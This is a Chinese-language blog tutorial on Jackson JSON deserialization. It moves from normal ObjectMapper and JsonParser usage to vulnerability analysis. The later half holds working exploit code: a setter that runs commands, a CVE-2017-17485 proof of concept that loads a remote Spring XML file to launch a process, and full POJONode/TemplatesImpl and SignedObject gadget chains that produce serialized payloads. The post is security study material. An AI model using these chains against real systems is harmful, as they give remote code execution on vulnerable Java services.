Jackson反序列化

Jackson反序列化漏洞

一、简介

Jackson是最流行的JSON解析器之一,具有很多的优先,如:依赖的jar包较少、解析速度快、运行时占用内存低、性能较好、简单易用等。

Jackson具有三大核心组件:

  • jackson-core,核心包,提供基于”流模式”解析的相关 API,包括 JsonPaser 和 JsonGenerator。
  • jackson-annotations,注解包,提供标准注解功能。
  • jackson-databind ,数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API (JsonNode)。

maven依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.3</version>
</dependency>
</dependencies>

二、序列化与反序列化

ObjectMapper

Jackson最常用的API,可以从字符串、流或文件中解析JSON,并创建表示已解析的JSON的Java对象。序列化使用readValue,反序列化使用writeValuewriteValueAsStringwriteValueAsBytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
   public static void json2objectObjectMapper(){
String jsondata = "{\"name\":\"xiaoming\",\"age\":1000}";
ObjectMapper objectMapper = new ObjectMapper();
try {
Person person = objectMapper.readValue(jsondata,Person.class);
System.out.println("Name: "+person.getName()+"\nAge: "+person.getAge());
}catch (Exception e){
e.printStackTrace();
}
}
public static String object2jsonObjectMapper(){
Person person = new Person();
person.setName("xiaoming");
person.setAge(16);
ObjectMapper objectMapper = new ObjectMapper();
try {
String json = objectMapper.writeValueAsString(person);
return json;

}catch (Exception e){
e.printStackTrace();
return "error";
}
}

package org.example;

public class Person {
private String name;
private int age;
private Object object;
private int sex;
public int getAge() {
return age;
}

public int getSex() {
return sex;
}

public Object getObject() {
return object;
}

public String getName() {
return name;
}

public void setObject(Object object) {
this.object = object;
}

public void setName(String name) {
this.name = name;
}

public void setSex(int sex) {
this.sex = sex;
}

public void setAge(int age) {
this.age = age;
}
}

JsonPaser

JsonParser的运行层级低于ObjectMapper,因此JsonParserObjectMapper更快,但使用起来也比较麻烦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static void object2jsonJsonParser(){
String json = "{\"name\":\"xiaoming\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
try {
JsonParser parser = jsonFactory.createParser(json);
System.out.println(parser);
}
catch (Exception e ){
e.printStackTrace();
}
}
public static void json2objectJsonParser(){
String json = "{\"name\":\"xiaoming\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
Person1 person1 =new Person1();
try{
JsonParser parser = jsonFactory.createParser(json);
while(!parser.isClosed()){
JsonToken jsonToken = parser.nextToken();
if (JsonToken.FIELD_NAME.equals(jsonToken)){
String fieldName = parser.getCurrentName();
System.out.println(fieldName);

jsonToken=parser.nextToken();

if ("name".equals(fieldName)){
person1.name = parser.getValueAsString();

}
else if ("age".equals(fieldName)){
person1.age = parser.getValueAsInt();
}
}

System.out.println("name: "+person1.name);
System.out.println("age: "+person1.age);
}
}
catch (Exception e ){
e.printStackTrace();
}
}

JsonGenerator

JsonGenerator用于将对象序列化成JSON或代码从中生成JSON的任何数据结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void object2jsonJsonGenerator(){
JsonFactory jsonFactory = new JsonFactory();
try{
JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name","test");
jsonGenerator.writeNumberField("age",23);
jsonGenerator.writeEndObject();
jsonGenerator.close();
}catch (Exception e){
e.printStackTrace();
}
}

因为Java允许同一个接口使用不同的实例而执行不同的操作,所以Jackson也就提供了相对于的服务。在序列化过程中,可以将具体的子类信息绑定到序列化内容中,以便于在反序列化过程中,即是类成员不是具体类型而是Object接口或其他抽象类仍可以直接找到目标子类对象。这其实可以通过DefaultTyping 和 @JsonTypeInfo 注解来实现。

DefaultTyping

DefaultTyping 是Jackson提供的enableDefaultTyping设置,其中包含四个值,其功能如下:

DefaultTyping类型 能进行序列化和反序列化的属性
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为ObjectInterfaceAbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为ObjectInterfaceAbstractClassArray
NON_FINAL 所有除了声明为final之外的属性

用法示例:

1
2
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

@JsonTypeInfo注解

注解类型 作用 抽象类属性能否反序列成功
JsonTypeInfo.Id.NONE 用于指定在序列化和反序列化过程中不包含任何类型标识、不使用识别码 ×
JsonTypeInfo.Id.CLASS 用于指定在序列化过程中指定具体的包名和类名
JsonTypeInfo.Id.MINIMAL_CLASS 用于指定在序列化过程中指定具体的包名和类名
JsonTypeInfo.Id.NAME 用于指定在序列化过程中指定具体的类名 ×
JsonTypeInfo.Id.CUSTOM 自定义识别码,需要用户自己实现,不能直接使用 ×

反序列化流程

但是具体是如何调用,其原理是什么,我们还需要从反序列的流程入手了解:

首先,readValue会调用_readMapAndClose方法进行处理,获取构造类需要用到的基本信息:

准备就绪之后调用BeanDeserializer中的deserialize函数:

首先会对输入数据的格式进行判断,根据是否是顶层类采用不同的反序列化方式:

符合条件之后调用vanillaDeserialize函数,先构造实例再进行赋值:

createUsingDefault函数会调用指定类的无参构造函数来生成类实例:

调用_constructor.newInstance() 实现无参的构造函数:

调用Person类的无参构造函数完成了bean的实例化:

获取到Person类实例之后会根据类的属性与传入的json数据继续成员变量名称比对, 以键值对的形式进行匹配,符合的则进行赋值。

先是调用了deserialize函数进行解析,随后再利用setter进行赋值。

也就是说当满足前提条件的时候,Jackson反序列化会调用属性所属类的构造函数和setter方法,我们就可以在此做文章,属性中有Object则考虑构造函数和setter函数,没有则进考虑setter函数。

例如一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//恶意类
public class Evil {
public String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(this.cmd);
}catch (Exception e){
}
}
}
//反序列化触发setter方法
public static void main(String[] args) throws Exception{
String json = "{\"name\":\"Evil\",\"age\":100,\"object\":{\"@class\":\"org.example.Evil\",\"cmd\":\"calc\"},\"sex\":1}";
ObjectMapper objectMapper1 = new ObjectMapper();
Person person1 = objectMapper1.readValue(json,Person.class);
}

三、反序列化漏洞

Jackson反序列化漏洞可分为两类,一是基于Jackson的反序列化机制,二是基于Jackson库中的某些类作为调用链中的某一段。

基于Jackson反序列化机制

由前面我们可以看到,Jackson在反序列化的时候类似于Fastjson,通过某些设置使得可以在json数据中指定具体的类信息,实现对特定类的实例化从进行恶意类加载进行攻击,具体的前提条件如下(满足其中之一即可):

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS@JsonTypeInfo注解;

CVE-2017-17485

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>jackson1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-expression -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-annotations -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
</dependencies>
</project>

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class CVE201717485 {
public static void main(String[] args) {

String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

spel.xml

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

POJONode

TemplatesImpl任意类加载

POJONode类继承了BeanJsonNode抽象类,在调用POJONodetoString方法的时候实际上调用的是BeanJsonNodetoString:

toString的内部调用的其实是InternalNodeMapper.nodeToString()

内部调用的其实就是Jackson的节点JSON序列化方法writeValueAsString,将对象序列化为JSON数据:

一路跟进最后是调用到了POJONodeserialize函数:

这里会对POJONode的成员进行序列化:

最后会在获取成员变量的值时调用getter也就是TemplatesImpl.getOutputProperties,也就到了我们最熟悉的环节。

因此,只要POJONode类的_value成员是我们设置好的TemplatesImpl类,那么在调用POJONodetoString的时候就能够触发任意类的加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class POJONodeTest {
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("恶意类路径"));
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaa");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesImpl);
jsonNodes.toString();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

当然这只是一条完整反序列化漏洞调用链的后半段,还需要接上从readObjecttoString的调用才行。

说到toString最先想到的肯定还是javax.management.BadAttributeValueExpException这个类,它在readObject过程中会获取val这一成员,如果val不是String类型且符合安全管理机制的话就会调用其toString函数,那么我们只需要把val这一成员的值设为带有TemplatesImpl``POJONode类就可以了,整一条链子也就实现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

public class PON {
public static void main(String[] args)throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaa");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

SignedObject二次反序列化

由前面我们知道POJONode类的toString函数在调用过程中在获取成员变量的值时调用getter,回想起前面的ROME反序列化可以想到SignedObject类的getter方法getObject也能在这里被触发,实现二次反序列化,从而绕过Templates被禁用的情况,这里我们也是只需要为POJONode类的成员变量_value赋值为带有二次反序列化内容的SignedObject类即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.Base64;
import java.util.HashMap;

public class SignedObjectPON {
public static void main(String[] args) throws Exception{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);
SignedObject signedObject = makeSObj(hashMap);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
System.out.println(serial(exp));
// String exp = "base编码的payload";
// deserial(exp);
}
public static String serial(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException {
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("1") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
}
);
}
}

参考链接:

https://xz.aliyun.com/t/12966

https://www.cnblogs.com/LittleHann/p/17811918.html

http://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

http://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com